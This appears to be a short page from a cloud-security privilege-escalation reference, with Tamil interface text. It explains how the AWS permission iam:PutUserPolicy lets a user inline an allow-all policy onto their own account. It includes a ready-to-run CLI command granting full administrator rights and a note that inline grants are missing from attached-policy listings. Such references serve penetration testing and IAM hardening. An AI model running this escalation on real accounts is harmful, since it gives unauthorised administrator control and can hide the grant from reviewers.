PutUserPolicy

iam:PutUserPolicy to inline an allow-all policy directly onto a user you control.

1 நிமிட வாசிப்பு5 அக்., 2026 அன்று புதுப்பிக்கப்பட்டதுflorianamette1 பங்களிப்பாளர்
உங்கள் உதவியாளரிடம் கேளுங்கள் (MCP)GitHub இல் திருத்து

iam:PutUserPolicy writes an inline policy directly onto a user, no managed policy involved. Inline an allow-all statement onto your own user and you are administrator, with the grant living on the user rather than as a separate attachable object.

Inline admin#

bash
aws iam put-user-policy --user-name <you> --policy-name esc \
  --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}'

Exploitation notes#

  • Inline policies do not show up in list-attached-user-policies; they are read with list-user-policies and get-user-policy.
  • This needs only iam:PutUserPolicy, no policy-creation permission.

Tools#

  • AWS CLI (iam put-user-policy).
  • Pacu (iam__privesc_scan).

References#